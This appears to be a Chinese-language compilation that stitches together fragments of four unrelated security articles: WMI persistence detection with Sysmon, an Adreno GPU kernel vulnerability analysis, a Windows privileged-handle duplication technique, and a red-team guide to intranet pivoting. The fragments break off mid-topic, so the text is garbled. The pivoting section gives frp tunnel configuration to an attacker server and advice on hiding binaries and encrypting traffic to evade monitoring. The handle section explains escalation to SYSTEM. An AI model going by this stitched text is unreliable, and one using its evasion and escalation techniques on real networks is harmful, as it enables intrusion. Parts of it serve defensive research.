當__EventFilter 和任何Consumer類型類對像用於在WMI CIM 數據庫中創建Binder 實例以創建永久事件時,Microsoft-Windows-WMI-Activity/Operational 中ID 為5861 的事件日誌條目由以下人員創建默認情況下無需啟用任何審核。如果任何組件類實例被修改,該事件也會在修改中創建。即使在可能原因子元素下的UserData 元素中,該事件也將包含與永久物相關的所有信息。

如果我們使用Sysmon並將其配置為捕獲WMI事件,則將捕獲正在創建的每個組件。 Sysmon提供了將更改定位到已經綁定在一起的過濾器或使用者的優勢,以便融合到環境中。我們已經看到APT28在修改目標環境中已經存在的使用者和過濾器。 Bellow是一個將捕獲所有事件的配置。

20.png

在下面的示例中,我們將使用PowerShell創建每個組件,永久事件將檢測USB設備何時被插入,並將可執行文件複製到設備上,並在設備上設置autorun.ini。

我們將首先創建一個Event Filter實例,該實例將在可移動卷添加到主機時觸發。

21.png

我們可以看到該操作記錄在Sysmon 日誌下,事件ID 為19,它包含過濾事件的所有部分,並且該操作已創建。

22.jpg

PSGumshoe有get - sysmonwmfilter,它允許查詢這個事件,並將結果作為一個對象返回給我們。

23.png

如前所述,攻擊者可以修改現有的事件過濾器並替換查詢。 Sysmon能夠跟踪這一變化。讓我們更改查詢,使其中沒有換行符。

24.1.png

24.2.png

正如我們所看到的,Sysmon使用相同的ID記錄了更改,但操作聲明它已被修改。

25.jpg

PSGumshoe中的函數允許按字段過濾,因此我們只能查詢修改過的事件。我們看到Sysmon創建了2個事件,一個是更改之前的實例,另一個是實例現在的樣子。

26.png

現在我們將創建一個Consumer實例,這個Consumer類型為Action Script,它將執行一個VBScript腳本,該腳本將Base64解碼二進製文件並將其存儲在可移動驅動器上,它還將創建一個autorun.ini並修改它,使其隱藏在驅動器上。

27.1.png

27.2.png

該操作將被Sysmon記錄為事件ID 20,並包含來自actionscriptConsumer的整個腳本。

28.jpg

我們可以使用Get-SysmonWmiConsumer函數來查詢事件。 Sysmon只記錄Action Script和CommandLine事件Consumer,其他Consumer不被記錄,因為他們不被認為是一個安全風險。

29.png

為了將過濾器與Consumer綁定,我們需要創建一個Binder實例,該實例同時引用這兩個過濾器。它可以在Root命名空間或Root/Subscription中創建。讓我們首先在Root/Subscription名稱空間中創建一個實例,它是此類實例的默認實例。

30.png

Windows將記錄所有綁定事件,每個部分的完整信息作為事件ID 5861下的事件的一部分。

31.jpg

我們可以使用Get-EventWmiPermanentEvent函數來查詢這個事件。

32 (2).png

在編寫Android 漏洞利用程序時,突破應用程序沙箱通常是關鍵步驟。有各種各樣的遠程攻擊方法可以讓你以應用程序的權限執行代碼,但仍需要沙盒逃逸才能獲得完整的系統訪問權限。

這篇文章重點介紹可從Android 應用程序沙箱訪問系統底層的一個有趣的攻擊面:圖形處理單元(GPU) 硬件。下面描述了Qualcomm 的Adreno GPU 中的一個漏洞,以及如何使用它在Android 應用程序沙箱中實現內核代碼執行。

這項研究是建立在oldfresher的工作基礎上的,他在2019 年8 月報告了CVE-2019-10567。一年後,也就是2020 年8 月上旬,oldfresher發布了一份披露CVE-2019-10567的漏洞paper,以及一些允許遠程攻擊者破壞整個系統的其他漏洞。

但是在2020 年6 月,我發現CVE-2019-10567 的補丁不完整,並與高通的安全團隊和GPU 工程師合作,從根本上修復了這個問題。此新問題的補丁CVE-2020-11179 已發布給OEM 供應商進行集成。

0x01 Android 攻擊面Android 應用程序沙箱是SELinux、seccomp BPF 過濾器和基於每個應用程序唯一UID 的自主訪問控制的不斷發展的組合。沙箱用於限制應用程序可以訪問的資源,並減少攻擊面。攻擊者能夠使用許多途徑來實現沙箱逃逸,例如:攻擊其他應用程序、攻擊系統服務或攻擊Linux 內核。

在高層次上,Android 生態系統中有幾個不同的攻擊面層。以下是一些重要攻擊面的梳理:

層級:Linux生態

描述:影響Android 生態系統中所有設備的問題。

示例:Linux 內核漏洞,如Dirty COW,或標準系統服務中的漏洞。

層級:芯片組

描述:影響Android 生態系統大部分的問題,具體取決於各種OEM 供應商使用的硬件類型。

示例:Snapdragon SoC 性能計數器漏洞,或Broadcom WiFi 固件堆棧溢出漏洞。

層級:供應商

說明:影響特定Android OEM 供應商的大多數或所有設備的問題

示例:三星內核驅動程序漏洞

層級:設備

說明:影響Android OEM 供應商的特定設備型號的問題

示例:Pixel 4 人臉解鎖“attention aware”漏洞

從攻擊者的角度來看, Android 漏洞利用能力是一個以盡可能最具成本效益的方式覆蓋盡可能廣泛的Android 生態系統的問題。 Linux生態層的漏洞會影響許多設備,但與其他層相比,發現漏洞可能成本高昂且利用效果相對短暫。芯片組層通常會存在相當多的漏洞利用的覆蓋範圍,但不如生態層漏洞影響大。對於某些攻擊面,例如基帶和WiFi 攻擊,芯片組層是主要選擇。供應商和設備層更容易找到漏洞,但需要維護大量單獨的漏洞利用。

對於沙盒逃逸,GPU 從芯片組層提供了一個特別有趣的攻擊面。由於GPU 加速在應用程序中被廣泛使用,Android 沙盒允許完全訪問底層GPU 設備。此外,只有兩種GPU 硬件在Android 設備中特別流行:ARM Mali 和Qualcomm Adreno。

這意味著,如果攻擊者能夠在這兩個GPU 實現中找到一個可很好利用的漏洞,那麼他們就可以有效地保持針對大多數Android 生態系統的沙盒逃逸漏洞利用能力。此外,由於GPU 非常複雜,有大量閉源組件、固件、微代碼,因此很有可能會找到一個危害極高且長期存在的漏洞。

考慮到這一點,在2020 年4 月下旬,我注意到Qualcomm Adreno 內核驅動程序代碼中有以下提交:

From0ceb2be799b30d2aea41c09f3acb0a8945dd8711MonSep1700:00:002001From:JordanCrouseDate:Wed,11Sep201908:32:15-0600Subject:[PATCH]msm:kgsl33 360Makethe'scratch'globalbufferusearandomGPUaddressSelectarandomglobalGPUaddressforthe'scratch'bufferthatisusedbytheringbufferforvarioustasks.當我們想到向地址添加熵時,通常會想到地址空間佈局隨機化(ASLR)。但這裡我們談論的是GPU 虛擬地址,而不是內核虛擬地址,為什麼需要隨機分配GPU 地址?

此提交是CVE-2019-10567 的安全補丁之一,這些補丁在高通的諮詢中有相關鏈接。此CVE 還包含一個相關補丁:

From8051429d4eca902df863a7ebb3c04cbec06b84b3MonSep1700:00:002001From:JordanCrouseDate:Mon,9Sep201910:41:36-0600Subject:[PATCH]msm:kgsl:Execut euserprofilingcommandsinanIBExecuteuserprofilinginanindirectbuffer.Thisensuresthataddressesandvaluesspecifieddirectlyfromtheuserdon'tendupintheringbuffer.所以問題就變成了,為什麼用戶內容不會最終出現在ringbuffer 上,這個補丁真的可以防止這種情況發生嗎?如果我們恢復臨時映射的基地址會發生什麼?至少從表面上看,兩者都是可行的,這個研究項目有了一個良好的開端。

在我們進一步討論之前,讓我們退一步描述一下這裡涉及的一些基本組件:GPU, ringbuffer, scratch mapping等。

0x02 Adreno GPU 簡介GPU 是現代圖形計算的主要組件,大多數應用程序都廣泛使用GPU。從應用程序的角度來看,GPU 硬件的具體實現通常由OpenGL ES 和Vulkan 等庫抽像出來。這些庫實現了一個標準API,用於對常見的GPU 加速操作進行編程,例如texture mapping 和running shaders。然而,在底層,此功能是通過與內核空間中運行的GPU 設備驅動程序交互來實現的。

image-20220324233623933.png image-20220324233623933

特別是對於Qualcomm Adreno,/dev/kgsl-3d0設備文件最終用於實現更高級別的GPU 功能。可在不受信任的應用程序沙箱中直接訪問/dev/kgsl-3d0文件,因為:

1.設備文件在其文件權限中設置了全局讀/寫訪問權限。權限由ueventd設置:

sargo:/#cat/system/vendor/ueventd.rc|grepkgsl-3d0/dev/kgsl-3d00666systemsystem2.設備文件的SELinux 標籤設置為gpu_device,並且untrusted_app SELinux 上下文對此標籤有特定的允許規則:

sargo:/#ls-Zal/dev/kgsl-3d0crw-rw-rw-1systemsystemu:object_r:gpu_device:s0239,02020-07-2115:48/dev/kgsl-3d0hawkes@glaptop:~$adbpull/sys/fs/selinux/policy/sys/fs/selinux/policy33 3601filepulled,0skipped.16.1MB/s.hawkes@glaptop:~$sesearch-A-suntrusted_apppolicy|grepgpu_deviceallowuntrusted_appgpu_device:chr_file{appendgetattrioctllockmapopenreadwrite};這意味著應用程序可以打開設備文件。 Adreno“KGSL”內核設備驅動程序主要通過許多不同的ioctl 調用(例如分配共享內存、創建GPU 上下文、提交GPU 命令等)和mmap(例如將共享內存映射到用戶空間)來調用應用。

0x03 GPU 共享映射在大多數情況下,應用程序使用共享映射將vertices, fragments 和shaders加載到GPU 中並接收計算結果。這意味著某些物理內存頁面會在用戶應用程序和GPU 硬件之間共享。

要設置新的共享映射,應用程序將通過調用IOCTL_KGSL_GPUMEM_ALLOC ioctl 向KGSL 內核驅動程序請求分配。內核驅動程序將準備一個物理內存區域,然後將該內存映射到GPU 的地址空間。最後,應用程序將使用分配ioctl 返回的標識符將共享內存映射到用戶空間地址空間。

此時,物理內存的同一頁上有兩個不同的視圖。第一個視圖來自用戶態應用程序,它使用虛擬地址來訪問映射到其地址空間的內存。 CPU 的內存管理單元(MMU) 將執行地址轉換以找到適當的物理頁面。

另一個是從GPU 硬件本身來看,它使用GPU 虛擬地址。 GPU 虛擬地址由KGSL 內核驅動程序選擇,它使用僅用於GPU 的頁表結構配置設備的IOMMU(在ARM 上稱為SMMU)。當GPU 嘗試讀取或寫入共享內存映射時,IOMMU 會將GPU 虛擬地址轉換為內存中的物理頁面。這類似於在CPU 上執行的地址轉換,但地址空間完全不同,即應用程序中使用的指針值將不同於GPU 中使用的指針值。

image-20220324234002661 image-20220324234002661.png

每個用戶態進程都有自己的GPU 上下文,這意味著當某個應用程序在GPU 上運行操作時,GPU 將只能訪問它與該進程共享的映射。這是必需的,這樣一個應用程序就不能要求GPU 從另一個應用程序讀取共享映射。在實踐中,這種分離是通過在GPU 上下文切換發生時更改將哪一組頁表加載到IOMMU 來實現的。每當安排GPU 運行來自不同進程的命令時,就會發生GPU 上下文切換。

然而,某些映射被所有GPU 上下文使用,因此可以出現在每組頁表中。它們被稱為全局共享映射,用於GPU 和KGSL 內核驅動程序之間的各種系統和調試功能。雖然它們從未直接映射到用戶級應用程序,例如惡意應用程序無法直接讀取或修改全局映射的內容,但它們會同時映射到GPU 和內核地址空間。

在被root的Android 設備上,我們可以使用以下命令dump全局映射及其GPU 虛擬地址:

sargo:/#cat/sys/kernel/debug/kgsl/globals0x00000000fc000000-0x00000000fc000fff4096setstate0x00000000fc001000-0x00000000fc040fff262144gpu-qdss0x00000000fc041000-0x00000000fc048fff32768memstore0x00000000fce7a000-0x00000000fce7aff f4096scratch0x00000000fc049000-0x00000000fc049fff4096pagetable_desc0x00000000fc04a000-0x00000000fc04afff4096profile_desc0x00000000fc04b000-0x00000000fc052fff32768ringbuffer0x00000000fc053000-0x00000000fc053fff4096pagetable_desc0x00 000000fc054000-0x00000000fc054fff4096profile_desc0x00000000fc055000-0x00000000fc05cfff32768ringbuffer0x00000000fc05d000-0x00000000fc05dfff4096pagetable_desc0x00000000fc05e000-0x00000000fc05efff4096profile_desc0x00000000fc05f000-0x0 0000000fc066fff32768ringbuffer0x00000000fc067000-0x00000000fc067fff4096pagetable_desc0x00000000fc068000-0x00000000fc068fff4096profile_desc0x00000000fc069000-0x00000000fc070fff32768ringbuffer0x00000000fc071000-0x00000000fc0a0fff1966 08profile0x00000000fc0a1000-0x00000000fc0a8fff32768ucode0x00000000fc0a9000-0x00000000fc0abfff12288capturescript0x00000000fc0ac000-0x00000000fc116fff438272capturescript_regs0x00000000fc117000-0x00000000fc117fff4096powerup_register_l ist0x00000000fc118000-0x00000000fc118fff4096alwayson0x00000000fc119000-0x00000000fc119fff4096preemption_counters0x00000000fc11a000-0x00000000fc329fff2162688preemption_desc0x00000000fc32a000-0x00000000fc32afff4096perfcounter_save_re store_desc0x00000000fc32b000-0x00000000fc53afff2162688preemption_desc0x00000000fc53b000-0x00000000fc53bfff4096perfcounter_save_restore_desc0x00000000fc53c000-0x00000000fc74bfff2162688preemption_desc0x00000000fc74c000-0x00000000fc74 cfff4096perfcounter_save_restore_desc0x00000000fc74d000-0x00000000fc95cfff2162688preemption_desc0x00000000fc95d000-0x00000000fc95dfff4096perfcounter_save_restore_desc0x00000000fc95e000-0x00000000fc95efff4096smmu_info從左到右,我們看到每個全局映射的GPU 虛擬地址,然後是大小,然後是分配的名稱。通過多次重啟設備並檢查佈局,可以看到暫存緩衝區確實是隨機的:

0x00000000fc0df000-0x00000000fc0dffff4096scratch.0x00000000fcfc0000-0x00000000fcfc0fff4096scratch.0x00000000fc9ff000-0x00000000fc9fffff4096scratch.0x00000000fcb4d000-0x00000000fcb4dfff4096scratch同樣的測試表明,暫存緩衝區是唯一隨機化的全局映射,所有其他全局映射在[0xFC000000,0xFD400000]範圍內都有一個固定的GPU 地址。這是有道理的,因為CVE-2019-10567 的補丁只為暫存緩衝區分配引入了KGSL_MEMDESC_RANDOM 標誌。

所以我們現在知道暫存緩衝區至少在某種程度上是正確隨機的,並且它是存在於每個GPU 上下文中的全局共享映射,但是暫存緩衝區到底是做什麼用的呢?

0x04 Scratch 緩衝區深入驅動程序代碼,我們可以清楚地看到在驅動程序的探測例程中分配了暫存緩衝區,這意味著暫存緩衝區將在設備首次初始化時分配:

intadreno_ringbuffer_probe(structadreno_device*adreno_dev,boolnopreempt){.status=kgsl_allocate_global(device,device-scratch,PAGE_SIZE,0,KGSL_MEMDESC_RANDOM,'scratch');我們還發現了下面的註釋:

/*SCRATCHMEMORY:Thescratchmemoryisonepageworthofdatathat*ismappedintotheGPU.Thisallowsforsome'shared'databetween*theGPUandCPU.Forexample,itwillbeusedbytheGPUtowrite*eachupdatedRPTRforeachRB.通過在內核驅動程序中交叉引用生成的內存描述符(device-scratch )的所有用法,我們可以找到暫存緩衝區的兩個主要用法:

1.搶占恢復緩衝區的GPU 地址被dump到暫存內存中,如果較高優先級的GPU 命令中斷較低優先級的命令,則會使用該暫存內存。

2.環形緩衝區(RB) 的讀指針(RPTR) 從臨時內存中讀取,並在計算環形緩衝區中的可用空間量時使用。

可以開始串聯思路。首先,我們知道CVE-2019-10567 的補丁包括對暫存緩衝區和環形緩衝區處理代碼的更改——這表明我們應該關注上面的第二個用例。

如果GPU 正在將RPTR 值寫入共享映射(如註釋所示),並且如果內核驅動程序正在從暫存緩衝區讀取RPTR 值並將其用於分配大小計算,那麼如果我們可以讓GPU 寫入一個RPTR 值無效或不正確。

0x05 環形緩衝區要了解無效RPTR 值對環緩衝區分配可能意味著什麼,我們首先需要描述環緩衝區本身。當用戶態應用程序提交GPU 命令( IOCTL_KGSL_GPU_COMMAND ) 時,驅動程序代碼通過使用生產者-消費者模式的環形緩衝區將命令分派給GPU。內核驅動程序會將命令寫入環形緩衝區,GPU 將從環形緩衝區讀取命令。

這以與經典循環緩衝區類似的方式發生。在底層,ringbuffer 是一個固定大小為32768 字節的全局共享映射。維護兩個索引來跟踪CPU 寫入的位置(WPTR) 和GPU 讀取的位置(RPTR)。為了在ringbuffer 上分配空間,CPU 必須計算當前WPTR 和當前RPTR 之間是否有足夠的空間。這發生在adreno_ringbuffer_allocspace 中:

unsignedint*adreno_ringbuffer_allocspace(structadreno_ringbuffer*rb,unsignedintdwords){structadreno_device*adreno_dev=ADRENO_RB_DEVICE(rb);unsignedintrptr=adreno_get_rptr(rb);[1]unsignedintret;if(rptr_wptr){[2]unsign edint*cmds;if(rb-_wptr+dwords_wptr;rb-_wptr=(rb-_wptr+dwords)%KGSL_RB_DWORDS;returnRB_HOSTPTR(rb,ret);}/**Thereisn'tenoughspacetowardtheendofringbuffer.So*lookforspacefromthebeginningofringbufferuptothe*readpointer.*/

在某些情況下,具有高完整性或系統完整性的進程會向權限進程/線程/令牌請求句柄,然後生成低完整性進程。如果這些句柄足夠強大,且類型正確,並且由子進程繼承,我們可以從另一個進程複製它們,然後濫用它們來升級權限或繞過UAC。在這篇文章中,我們將介紹如何尋找和濫用這種漏洞。

介紹本質上,這個想法是看看我們是否可以自動找到擁有高完整性(也就是提升)或SYSTEM進程的權限句柄的非權限進程,然後檢查我們是否可以作為一個非權限用戶附加到這些進程上,並複制這些句柄,以便以後濫用它們。我們的工具會受到哪些限制?

1.它必須作為中等完整性進程運行;

2. 進程令牌中沒有SeDebugPrivilege(中等完整性的進程默認沒有這個權限);

3. 沒有UAC 繞過,因為它也必須適用於非管理用戶;

這個過程有點複雜,我們將經歷的步驟或多或少如下:

1.枚舉所有進程持有的所有句柄;

2.過濾掉我們不感興趣的句柄,現在我們只關注進程、線程和令牌的句柄,因為它們更容易被武器化;

3.過濾掉引用低完整性進程/線程/令牌的句柄;

4.過濾掉完整性大於中等的進程持有的句柄,除非獲得SeDebugPrivilege,否則我們不能附加到它們上,這違背了本文的目的;

5.複製其餘的句柄並將它們導入我們的進程,並試圖濫用它們來升級權限或者至少繞過UAC;

1.jpg

當然,我們不太可能在一台全新的Windows設備上滿足這些條件,所以為了避免這個問題,我將使用一個我專門為此目的編寫的易受攻擊的應用程序。

句柄處理正如我在這個Twitter線程中簡要討論的那樣,Windows是一個基於對象的操作系統,這意味著每個實體(進程、線程、互斥鎖等)在內核中都以數據結構的形式有一個“對象”表示。例如,對於進程,該數據結構的類型是_EPROCESS。作為存在於內核空間的數據,普通的用戶模式代碼無法直接與這些數據結構交互,因此操作系統公開了一個間接機制,該機制依賴於特殊的HANDLE類型變量以及用於服務的SC_HANDLE 等派生類型。句柄只不過是內核空間表中的索引,對每個進程來說都是私有的。表中的每一項都包含了它所指向的對象的地址以及該句柄對該對象的訪問級別。這個表由每個進程的_EPROCESS結構的ObjectTable成員(它的類型是_HANDLE_TABLE*,因此它指向一個_HANDLE_TABLE)指向。

為了更容易理解,讓我們看一個例子。要獲得進程的句柄,我們可以使用OpenProcess Win32 API,定義如下:

2.png

它需要3個參數:

dwDesiredAccess是一個DWORD,它指定了我們希望對我們試圖打開的進程擁有的訪問級別;

bInheritHandle是一個布爾值,如果設置為TRUE,將使句柄可繼承,這意味著調用進程在子進程生成時將返回的句柄複製給子進程(以防我們的程序調用CreateProcess之類的函數);

dwProcessId是一個DWORD,用於指定我們想打開哪個進程(通過提供它的PID);

在下一行中,我將嘗試打開系統進程(它始終具有PID 4)的句柄,向內核指定我希望句柄擁有盡可能少的特權,只需要查詢有關信息的子集進程(PROCESS_QUERY_LIMITED_INFORMATION),並且我希望該程序的子進程繼承返回的句柄(TRUE)。

3.png

OpenProcess返回的System進程的句柄(如果它沒有因為某種原因失敗)被放入hProcess變量中以供以後使用。

在後台,內核執行一些安全檢查,如果這些檢查通過,則獲取所提供的PID,解析相關_EPROCESS結構的地址,並將其複製到句柄表中的一個新條目中。之後,它將訪問掩碼(即提供的訪問級別)複製到相同的條目中,並將條目值返回給調用代碼。

當你調用其他函數(如OpenThread和OpenToken)時,也會發生類似的事情。

查看句柄正如我們前面介紹的,句柄本質上是表的索引。每個條目都包含句柄所引用對象的地址以及句柄的訪問級別。我們可以使用Process Explorer 或Process Hacker 等工具查看這些信息:

4.png

從這個Process Explorer 屏幕截圖中,我們可以獲得一些信息:

紅框:句柄所指的對像類型;

藍色框:句柄值(表項的實際索引);

黃色框:句柄所指對象的地址;

綠色框:訪問掩碼及其解碼值(訪問掩碼是在Windows.h 頭文件中定義的宏),這告訴我們在對像上授予句柄持有者哪些特權;

有很多方法可以獲得這些信息,不一定需要使用在內核模式下運行的代碼。在這些方法中,最實用和最有用的是依賴原生API NtQuerySystemInformation,當調用它時傳遞SystemHandleInformation (0x10) 值作為其第一個參數,返回一個指向SYSTEM_HANDLE 變量數組的指針,其中每個變量都引用一個由系統上的進程打開的句柄。

5.png

讓我們來看看用c++實現它的一種可能的方法。

6.png

在這段代碼中,我們使用以下變量:

queryInfoStatus 將保存NtQuerySystemInformation 的返回值;

tempHandleInfo 將保存有關係統NtQuerySystemInformation 為我們獲取的所有句柄的數據;

handleInfoSize 是對所說數據量的“猜測”。不要擔心,因為每次NtQuerySystemInformation 將返回STATUS_INFO_LENGTH_MISMATCH 時這個變量都會加倍,這是一個告訴我們分配的空間不夠的值;

handleInfo 是指向內存位置的指針NtQuerySystemInformation 將填充我們需要的數據;

不要對這裡的while 循環感到困惑,正如我們所說,我們只是反複調用函數,直到分配的內存空間足夠大,可以容納所有的數據。在使用Windows本機API時,這種類型的操作非常普遍。

NtQuerySystemInformation 獲取的數據可以通過簡單的迭代來解析,如下所示:

7.png

從代碼中可以看出,變量句柄是SYSTEM_HANDLE 類型的結構(自動從代碼中刪除)有許多成員提供有關它所引用的句柄的有用信息。最有趣的成員是:

ProcessId:持有句柄的進程;

Handle:持有句柄本身的進程內部的句柄值;

Object:句柄指向的對像在內核空間中的地址;

ObjectTypeNumber:一個未記錄的BYTE 變量,用於標識句柄所指對象的類型。為了解釋它,需要進行一些逆向工程和挖掘,只要說進程由值0x07 標識,線程由0x08 標識,令牌由0x05 標識就足夠了;

GrantedAccess 句柄授予的對內核對象的訪問級別,對於進程,你可以找到諸如PROCESS_ALL_ACCESS、PROCESS_CREATE_PROCESS 等值。

讓我們運行上述代碼並查看其輸出結果:

8.png

我們可以從對像類型的0x7 值推斷出,在這段摘錄中,我們看到PID 為4 的進程(即任何Windows 機器上的系統進程)當前已打開3 個句柄。所有這些句柄都引用進程類型的內核對象,每個都有自己的內核空間地址,但只有第一個是特權句柄,正如你可以從其值推斷出的那樣,0x1fffff,這是PROCESS_ALL_ACCESS 翻譯的內容。不幸的是,在我的研究中,我發現沒有直接的方法可以直接提取SYSTEM_HANDLE 結構的ObjectAddress 成員所指向的進程的PID。稍後我們將看到一個巧妙的技巧來規避這個問題,但現在讓我們使用Process Explorer 檢查它正在使用哪個進程。

9.png

正如你所看到的,值為0x828的句柄的類型是process,它引用進程services.exe。對像地址和被授予的訪問也都簽出了,如果你查看圖像的右側,你將看到解碼的訪問掩碼顯示PROCESS_ALL_ACCESS,正如預期的那樣。

這是非常有趣的,因為它本質上允許我們查看任何進程的句柄表,而不管它的安全上下文和PP(L)級別。

從目標進程的對像地址獲取目標進程的PID如上所述,我沒有找到一種方法來取回給定進程的SYSTEM_HANDLE 進程的PID,但我確實找到了一個有趣的解決方法。讓我們先來看看一些假設:

1.SYSTEM_HANDLE結構包含Object成員,該成員保存內核對像地址,該地址在內核空間中;

2.在Windows上,所有進程都有自己的地址空間,但是地址空間的內核空間部分(64位進程的最大128TB)對所有進程是相同的。內核空間中的地址在所有進程中保存相同的數據;

3.提到進程的句柄時,SYSTEM_HANDLE的Object成員指向進程本身的_EPROCESS結構;

4.每個進程只有一個_EPROCESS 結構;

5.我們可以通過調用OpenProcess 並將PROCESS_QUERY_LIMITED_INFORMATION 指定為所需的訪問值來獲取任何進程的句柄,而不管其安全上下文如何;

從這些假設中,我們可以推斷出以下信息:

1.如果句柄在同一個對像上打開,則兩個不同SYSTEM_HANDLE 結構的Object 成員將相同,而與持有該句柄的進程無關,例如,由兩個不同進程在同一文件上打開的兩個句柄將具有相同的Object 值:

1.1由兩個不同進程打開的同一進程的兩個句柄將具有匹配的Object 值;

1.2線程、令牌等也是如此;

2.當調用NtQuerySystemInformation 時,我們可以枚舉我們自己的進程持有的句柄;

如果我們通過OpenProcess 獲得一個進程的句柄,我們就知道該進程的PID,並且通過NtQuerySystemInformation,它的_EPROCESS 的內核空間地址

你能看到我們要去哪裡嗎?如果我們設法打開一個對所有進程具有訪問PROCESS_QUERY_LIMITED_INFORMATION 的句柄,然後通過NtQuerySystemInformation 檢索所有系統句柄,我們就可以過濾掉所有不屬於我們進程的句柄,並從那些屬於我們進程的句柄中提取對象值並在它與生成的PID 之間進行匹配。當然,線程也可以這樣做,只使用OpenThread 和THREAD_QUERY_INFORMATION_LIMITED。

為了有效地打開系統上的所有進程和線程,我們可以依賴TlHelp32.h 庫的例程,它會允許我們拍攝系統上所有進程和線程的快照,並遍歷該快照以獲取拍攝快照時運行的進程和線程的PID 和TID(線程ID)。

下面的代碼塊顯示了我們如何獲取所述快照並遍歷它以獲取所有進程的PID。

10.png

首先定義一個std:map,這是c++中的一個類似字典的類,它允許我們跟踪指向PID的句柄,我們將其稱為mHandleId。

完成後,我們使用CreateToolhelp32Snapshot 獲取有關進程的系統狀態快照,並指定我們只需要進程(通過TH32CS_SNAPPROCESS 參數)。這個快照被分配給快照變量,它的類型是wil:unique_handle,它是WIL 庫的一個C++ 類,它使我們擺脫了在使用句柄後必須正確清理句柄的負擔。完成後,我們定義並初始化一個名為processEntry 的PROCESSENTRY32W 變量,一旦我們開始遍歷快照,它將保存我們正在檢查的進程的信息。

通過調用Process32FirstW 並用快照中第一個進程的數據填充processEntry。對於每個進程,我們嘗試在其PID 上使用PROCESS_QUERY_LIMITED_INFORMATION 調用OpenProcess,如果成功,我們將句柄- PID 對存儲在mHandleId 映射中。

在每個while 循環中,我們執行Process32NextW 並用新進程填充processEntry 變量,直到它返回false 並且我們退出循環。現在,我們的句柄和它們指向的進程的PID 之間有一個1 對1 的映射。現在進入第二階段!

現在是獲取所有系統句柄並過濾掉不屬於我們進程的句柄的時候了,我們已經了解瞭如何檢索所有句柄,現在只需檢查每個SYSTEM_HANDLE 並將其ProcessId 成員與我們的進程的PID 進行比較,可通過恰當命名的GetCurrentProcessId 函數獲得。然後,我們以與處理句柄-PID 對類似的方式存儲屬於我們進程的那些SYSTEM_HANDLE 的Object 和Handle 成員的值,使用我們稱為mAddressHandle 的映射。

11.png

你可能想知道為什麼使用switch 語句而不是簡單的if。一些代碼已被刪除,因為這些是我們高級持久性Tortellini 專門為尋找我們在文章開頭提到的漏洞而編寫的工具的摘錄。

現在我們已經填充了兩個映射,當我們只知道它的_EPROCESS 地址時,獲取一個進程的PID 是一件輕而易舉的事。

12.png

我們首先將對象的地址保存在地址變量中,然後使用find 方法在mAddressHandle 映射中查找該地址,該方法將返回uint64_t,HANDLE 。這對包含地址和它對應的句柄。我們通過保存對成員的值來獲取句柄second並將其保存在foundHandle變量中。之後,只需要做我們剛才所做的事情,但是使用mHandleId映射和handlePid變量將保存進程的PID,其地址是我們開始的那個進程。

現在我們有了一種可靠的方法來匹配地址和PID,我們需要專門尋找那些完整性小於高進程持有有趣的句柄的情況,這些句柄與完整性等於或大於高的進程保持一致。但是從安全的角度來看,是什麼讓句柄“有趣”呢?我們將關注的句柄是具有以下訪問掩碼的句柄:

PROCESS_ALL_ACCESS

PROCESS_CREATE_PROCESS

PROCESS_CREATE_THREAD

PROCESS_DUP_HANDLE

PROCESS_VM_WRITE如果你在非特權進程中找到具有至少一個此訪問掩碼的特權進程的句柄,那非常幸運。讓我們看看我們如何做到這一點。

13.png

在這段代碼中,我們首先定義一個名為vSysHandle 的std:vector,它將保存有趣的SYSTEM_HANDLE。之後,我們開始對NtQuerySystemInformation 返回的數據進行常規迭代,只是這次我們跳過了當前進程持有的句柄。然後,我們通過我編寫的名為GetTargetIntegrityLevel 的幫助函數檢查持有我們當前正在分析的句柄的進程的完整性級別。這個函數基本上返回一個DWORD,告訴我們與它作為參數接收的PID 相關聯的令牌的完整性級別,並且改編自許多在線可用的PoC 和MSDN 函數。

一旦我們檢索到進程的完整性級別,我們要確保它小於高完整性,因為我們感興趣的是持有感興趣的句柄的中完整性或低完整性進程,我們還要確保我們正在處理的SYSTEM_HANDLE類型是進程(0x7)。檢查後,我們轉到檢查句柄授予的訪問權限。如果句柄不是PROCESS_ALL_ACCESS或不包含任何指定的標誌,則跳過它。否則,我們更進一步,檢索句柄所指進程的PID,並獲取其完整性級別。如果它是高完整性或更高的(例如SYSTEM),我們將SYSTEM_HANDLE保存在我們的vsyhandle中供以後使用。

首先,我們打開持有權限句柄的進程,然後復制該句柄。

14.png

這是相當簡單的,首先,你使用PROCESS_DUP_HANDLE訪問權限打開進程,這是複制句柄所需的最小權限,然後在該進程上調用DuplicateHandle,告訴函數你希望復制保存在syhandle中的句柄,並將其保存到clonedHandle變量中的當前進程中。

通過這種方式,我們的進程現在處於權限句柄的控制之下,我們可以使用它來生成一個新進程,把它的父進程偽裝成該句柄所指向的權限進程,從而使新進程繼承它的安全上下文,並獲得命令shell等。

15.png

讓我們看看它的實際應用:

16.png

前言

在内网渗透时,一个WebShell或CobaltStrike、Metasploit上线等,只是开端,更多是要内网横向移动,扩大战果,打到核心区域。但后渗透的前提是需要搭建一条通向内网的“专属通道”,才能进一步攻击。可实战中因为网络环境不同,所利用的方式就不同。

本文内容按以下思维导图展开

jk52mz33ahj14545.png

 目标出网(socks代理)

这是实战中最愿意碰到的网络环境,目标机可以正常访问互联网,可直接在目标机挂socks代理或CobaltStrike上线,打通目标的内网通道。

frp(socks5)

frp服务端配置文件

[common]bind_port = 8080

frp客户端配置文件

[common]server_addr = xx.xx.xx.xxserver_port = 8080#服务端口使用Web常见端口[socks5]type = tcpremote_port = 8088plugin = socks5use_encryption = trueuse_compression = true#socks5口令#plugin_user = SuperMan#plugin_passwd = XpO2McWe6nj3

此处添加了加密压缩这两个功能,默认是不开启的,根据作者介绍,压缩算法使用的是 snappy。

use_encryption = true 启用加密 [通信内容加密传输,有效防止流量被拦截]

use_compression = true 启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]

use_encryption = true 、use_compression = true 必须放在相关协议下面。

frp客户端与配置文件传到目标机后,把程序名与配置文件进行修改,并放在系统相关文件夹中,做到隐蔽

nk3hgwh4rhk14550.png

setg Proxies socks5:xxx.xxx.xxx.xxx:8088

x0qdtdsieu314552.png

qc0dostqw0l14554.png

加密压缩的对比

这是frp客户端配置文件中未使用 encryption 与 compression 功能,利用metasploit挂socks代理,扫描ms17_010传输的数据包,明显可辨别出具体攻击行为。如果目标内网有”态势感知“、流量分析等安全设备,就会被监测到,导致权限丢失。

duy4gjrtawl14557.png

 使用 encryption 与 compression 功能后,虽攻击源地址同样会暴露,但传输的数据包却无法辨别,规避了内网中的安全监测设备

btkptrhnkbp14559.png

CobaltStrike (socks4a)

到已控目标机的Beacon下将socks代理开启

